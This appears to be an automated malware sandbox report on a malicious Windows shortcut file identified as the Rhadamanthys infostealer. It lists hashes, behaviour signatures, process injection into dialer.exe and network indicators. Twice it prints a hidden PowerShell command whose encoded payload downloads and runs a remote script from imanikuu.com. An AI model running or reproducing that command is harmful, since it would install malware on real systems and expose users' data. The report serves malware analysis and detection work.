Analysis Overview
SHA256
b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8
Threat Level: Known bad
The file DOC527 - 527527.lnk.lnk was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 08:57
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 08:57
Reported
2024-04-05 09:02
Platform
win10v2004-20240226-en
Max time kernel
95s
Max time network
205s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 2396 created 2652 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2088 wrote to memory of 2396 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2088 wrote to memory of 2396 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2396 wrote to memory of 4308 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 2396 wrote to memory of 4308 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 2396 wrote to memory of 4308 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 2396 wrote to memory of 4308 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
Files
memory/2396-2-0x0000016FEBE70000-0x0000016FEBE92000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e4qavmnj.rga.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2396-12-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp
memory/2396-13-0x0000016FE9DF0000-0x0000016FE9E00000-memory.dmp
memory/2396-14-0x0000016FE9DF0000-0x0000016FE9E00000-memory.dmp
memory/2396-15-0x0000016FEC2E0000-0x0000016FEC33E000-memory.dmp
memory/2396-16-0x0000016FE9DE0000-0x0000016FE9DF0000-memory.dmp
memory/2396-17-0x0000016FEC390000-0x0000016FEC790000-memory.dmp
memory/2396-18-0x0000016FE9DE0000-0x0000016FE9DF0000-memory.dmp
memory/2396-20-0x0000016FEC390000-0x0000016FEC790000-memory.dmp
memory/2396-22-0x0000016FEC390000-0x0000016FEC790000-memory.dmp
memory/2396-21-0x00007FFDD4990000-0x00007FFDD4B85000-memory.dmp
memory/2396-23-0x00007FFDD32A0000-0x00007FFDD335E000-memory.dmp
memory/2396-24-0x00007FFDD2410000-0x00007FFDD26D9000-memory.dmp
memory/4308-25-0x000001EA1E930000-0x000001EA1E939000-memory.dmp
memory/2396-29-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp
memory/4308-32-0x000001EA203B0000-0x000001EA207B0000-memory.dmp
memory/2396-31-0x0000016FEC390000-0x0000016FEC790000-memory.dmp
memory/4308-34-0x000001EA203B0000-0x000001EA207B0000-memory.dmp
memory/4308-35-0x00007FFDD32A0000-0x00007FFDD335E000-memory.dmp
memory/4308-33-0x00007FFDD4990000-0x00007FFDD4B85000-memory.dmp
memory/4308-36-0x00007FFDD2410000-0x00007FFDD26D9000-memory.dmp
memory/4308-37-0x000001EA203B0000-0x000001EA207B0000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 08:57
Reported
2024-04-05 09:02
Platform
win7-20240319-en
Max time kernel
121s
Max time network
126s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2204 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2204 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2204 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2652-38-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp
memory/2652-39-0x000000001B380000-0x000000001B662000-memory.dmp
memory/2652-40-0x0000000002410000-0x0000000002490000-memory.dmp
memory/2652-41-0x0000000002410000-0x0000000002490000-memory.dmp
memory/2652-42-0x0000000001F90000-0x0000000001F98000-memory.dmp
memory/2652-43-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp
memory/2652-44-0x0000000002410000-0x0000000002490000-memory.dmp
memory/2652-45-0x0000000002410000-0x0000000002490000-memory.dmp
memory/2652-46-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp